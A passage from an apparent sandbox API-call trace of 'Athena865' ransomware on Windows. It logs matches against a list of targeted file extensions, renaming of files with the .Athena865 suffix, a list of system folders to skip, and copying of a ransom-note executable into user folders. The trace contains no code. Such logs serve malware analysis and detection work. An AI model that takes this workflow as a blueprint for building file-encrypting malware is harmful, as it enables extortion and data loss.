(lpString1="dex.dat", lpString2="mdbhtml") returned -1 [0100.446] lstrlenW (lpString="mdn") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0100.446] lstrlenW (lpString="mdt") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0100.446] lstrlenW (lpString="mfd") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0100.446] lstrlenW (lpString="mpd") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0100.446] lstrlenW (lpString="mrg") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0100.446] lstrlenW (lpString="mud") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0100.446] lstrlenW (lpString="mwb") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0100.446] lstrlenW (lpString="myd") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0100.446] lstrlenW (lpString="ndf") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0100.446] lstrlenW (lpString="nnt") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0100.446] lstrlenW (lpString="nrmlib") returned 6 [0100.446] lstrcmpiW (lpString1="ex.dat", lpString2="nrmlib") returned -1 [0100.446] lstrlenW (lpString="ns2") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0100.446] lstrlenW (lpString="ns3") returned 3 [0100.446] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0100.447] lstrlenW (lpString="ns4") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0100.447] lstrlenW (lpString="nsf") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0100.447] lstrlenW (lpString="nv") returned 2 [0100.447] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0100.447] lstrlenW (lpString="nv2") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0100.447] lstrlenW (lpString="nwdb") returned 4 [0100.447] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0100.447] lstrlenW (lpString="nyf") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0100.447] lstrlenW (lpString="odb") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0100.447] lstrlenW (lpString="odb") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0100.447] lstrlenW (lpString="oqy") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0100.447] lstrlenW (lpString="ora") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0100.447] lstrlenW (lpString="orx") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0100.447] lstrlenW (lpString="owc") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0100.447] lstrlenW (lpString="p96") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0100.447] lstrlenW (lpString="p97") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0100.447] lstrlenW (lpString="pan") returned 3 [0100.447] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0100.447] lstrlenW (lpString="pdb") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0100.448] lstrlenW (lpString="pdm") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0100.448] lstrlenW (lpString="pnz") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0100.448] lstrlenW (lpString="qry") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0100.448] lstrlenW (lpString="qvd") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0100.448] lstrlenW (lpString="rbf") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0100.448] lstrlenW (lpString="rctd") returned 4 [0100.448] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0100.448] lstrlenW (lpString="rod") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0100.448] lstrlenW (lpString="rodx") returned 4 [0100.448] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0100.448] lstrlenW (lpString="rpd") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0100.448] lstrlenW (lpString="rsd") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0100.448] lstrlenW (lpString="sas7bdat") returned 8 [0100.448] lstrcmpiW (lpString1="ndex.dat", lpString2="sas7bdat") returned -1 [0100.448] lstrlenW (lpString="sbf") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0100.448] lstrlenW (lpString="scx") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0100.448] lstrlenW (lpString="sdb") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0100.448] lstrlenW (lpString="sdc") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0100.448] lstrlenW (lpString="sdf") returned 3 [0100.448] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0100.449] lstrlenW (lpString="sis") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0100.449] lstrlenW (lpString="spq") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0100.449] lstrlenW (lpString="te") returned 2 [0100.449] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0100.449] lstrlenW (lpString="teacher") returned 7 [0100.449] lstrcmpiW (lpString1="dex.dat", lpString2="teacher") returned -1 [0100.449] lstrlenW (lpString="tmd") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0100.449] lstrlenW (lpString="tps") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0100.449] lstrlenW (lpString="trc") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0100.449] lstrlenW (lpString="trc") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0100.449] lstrlenW (lpString="trm") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0100.449] lstrlenW (lpString="udb") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0100.449] lstrlenW (lpString="udl") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0100.449] lstrlenW (lpString="usr") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0100.449] lstrlenW (lpString="v12") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0100.449] lstrlenW (lpString="vis") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0100.449] lstrlenW (lpString="vpd") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0100.449] lstrlenW (lpString="vvv") returned 3 [0100.449] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0100.449] lstrlenW (lpString="wdb") returned 3 [0100.450] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0100.450] lstrlenW (lpString="wmdb") returned 4 [0100.450] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0100.450] lstrlenW (lpString="wrk") returned 3 [0100.450] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0100.450] lstrlenW (lpString="xdb") returned 3 [0100.450] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0100.450] lstrlenW (lpString="xld") returned 3 [0100.450] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0100.450] lstrlenW (lpString="xmlff") returned 5 [0100.450] lstrcmpiW (lpString1="x.dat", lpString2="xmlff") returned -1 [0100.450] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat.Athena865") returned 57 [0100.450] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat.Athena865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\index.dat.athena865"), dwFlags=0x1) returned 0 [0100.450] GetLastError () returned 0x20 [0100.450] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat MoveFileEx error 32\r\n") returned 77 [0100.450] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\index.dat MoveFileEx error 32\r\n") returned 77 [0100.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0100.451] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd9 [0100.451] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4d, lpOverlapped=0x0) returned 1 [0100.452] CloseHandle (hObject=0x17c) returned 1 [0100.452] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0100.452] CloseHandle (hObject=0x0) returned 0 [0100.452] CloseHandle (hObject=0x0) returned 0 [0100.452] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc58dfc20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc58dfc20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1 [0100.453] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1 [0100.453] lstrlenW (lpString="Low") returned 3 [0100.453] lstrcpyW (in: lpString1=0x241e894, lpString2="Low" | out: lpString1="Low") returned="Low" [0100.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae30 [0100.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52ff20 [0100.453] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0100.453] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0100.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\low\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.454] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc58dfc20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc58dfc20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0100.454] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.454] ReleaseMutex (hMutex=0xec) returned 1 [0100.454] CloseHandle (hObject=0xec) returned 1 [0100.454] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0100.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516630 | out: hHeap=0x4f0000) returned 1 [0100.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ae48 | out: hHeap=0x4f0000) returned 1 [0100.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0100.454] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B468C9744ED136ECF5D7BA8145B1631E") returned 0xec [0100.454] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.454] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0100.454] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.455] GetLastError () returned 0x0 [0100.455] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0100.455] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.456] CloseHandle (hObject=0xf4) returned 1 [0100.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0100.456] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5c4bbc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5c4bbc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.456] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.456] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.456] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.456] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5c4bbc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5c4bbc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.456] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.456] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.456] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.456] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.456] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a08170, ftCreationTime.dwHighDateTime=0x1d4cb5f, ftLastAccessTime.dwLowDateTime=0x1a4ae7b0, ftLastAccessTime.dwHighDateTime=0x1d4ce27, ftLastWriteTime.dwLowDateTime=0xc592bee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-L9LKJ81.m4a.Athena865", cAlternateFileName="-L9LKJ~1.ATH")) returned 1 [0100.456] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2=".") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="..") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="windows") returned -1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="bootmgr") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="temp") returned -1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="pagefile.sys") returned -1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="boot") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="ids.txt") returned 1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="ntuser.dat") returned -1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="perflogs") returned -1 [0100.457] lstrcmpiW (lpString1="-L9LKJ81.m4a.Athena865", lpString2="MSBuild") returned -1 [0100.457] lstrlenW (lpString="-L9LKJ81.m4a.Athena865") returned 22 [0100.457] lstrcpyW (in: lpString1=0x241e894, lpString2="-L9LKJ81.m4a.Athena865" | out: lpString1="-L9LKJ81.m4a.Athena865") returned="-L9LKJ81.m4a.Athena865" [0100.457] lstrlenW (lpString="-L9LKJ81.m4a.Athena865") returned 22 [0100.457] lstrlenW (lpString="Athena865") returned 9 [0100.457] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.457] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a89540, ftCreationTime.dwHighDateTime=0x1d4d05f, ftLastAccessTime.dwLowDateTime=0x678a64f0, ftLastAccessTime.dwHighDateTime=0x1d4ca04, ftLastWriteTime.dwLowDateTime=0xc5952040, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5120, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0BDQB_ktEMwWI.mkv.Athena865", cAlternateFileName="0BDQB_~1.ATH")) returned 1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2=".") returned 1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="..") returned 1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="windows") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="bootmgr") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="temp") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="pagefile.sys") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="boot") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="ids.txt") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="ntuser.dat") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="perflogs") returned -1 [0100.457] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.Athena865", lpString2="MSBuild") returned -1 [0100.457] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.Athena865") returned 27 [0100.458] lstrcpyW (in: lpString1=0x241e894, lpString2="0BDQB_ktEMwWI.mkv.Athena865" | out: lpString1="0BDQB_ktEMwWI.mkv.Athena865") returned="0BDQB_ktEMwWI.mkv.Athena865" [0100.458] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.Athena865") returned 27 [0100.458] lstrlenW (lpString="Athena865") returned 9 [0100.458] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.458] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aacd840, ftCreationTime.dwHighDateTime=0x1d4c6c3, ftLastAccessTime.dwLowDateTime=0x6a24c9f0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0xc5952040, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2PNwixRw8sLi9r -n.mp3.Athena865", cAlternateFileName="2PNWIX~1.ATH")) returned 1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2=".") returned 1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="..") returned 1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="windows") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="bootmgr") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="temp") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="pagefile.sys") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="boot") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="ids.txt") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="ntuser.dat") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="perflogs") returned -1 [0100.458] lstrcmpiW (lpString1="2PNwixRw8sLi9r -n.mp3.Athena865", lpString2="MSBuild") returned -1 [0100.458] lstrlenW (lpString="2PNwixRw8sLi9r -n.mp3.Athena865") returned 31 [0100.458] lstrcpyW (in: lpString1=0x241e894, lpString2="2PNwixRw8sLi9r -n.mp3.Athena865" | out: lpString1="2PNwixRw8sLi9r -n.mp3.Athena865") returned="2PNwixRw8sLi9r -n.mp3.Athena865" [0100.458] lstrlenW (lpString="2PNwixRw8sLi9r -n.mp3.Athena865") returned 31 [0100.458] lstrlenW (lpString="Athena865") returned 9 [0100.458] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.458] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf77c3600, ftCreationTime.dwHighDateTime=0x1d4ccd5, ftLastAccessTime.dwLowDateTime=0x41ad8940, ftLastAccessTime.dwHighDateTime=0x1d4d050, ftLastWriteTime.dwLowDateTime=0xc59781a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17c90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4LIZhN9Y.png.Athena865", cAlternateFileName="4LIZHN~1.ATH")) returned 1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2=".") returned 1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="..") returned 1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="windows") returned -1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="bootmgr") returned -1 [0100.458] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="temp") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="pagefile.sys") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="boot") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="ids.txt") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="ntuser.dat") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="perflogs") returned -1 [0100.459] lstrcmpiW (lpString1="4LIZhN9Y.png.Athena865", lpString2="MSBuild") returned -1 [0100.459] lstrlenW (lpString="4LIZhN9Y.png.Athena865") returned 22 [0100.459] lstrcpyW (in: lpString1=0x241e894, lpString2="4LIZhN9Y.png.Athena865" | out: lpString1="4LIZhN9Y.png.Athena865") returned="4LIZhN9Y.png.Athena865" [0100.459] lstrlenW (lpString="4LIZhN9Y.png.Athena865") returned 22 [0100.459] lstrlenW 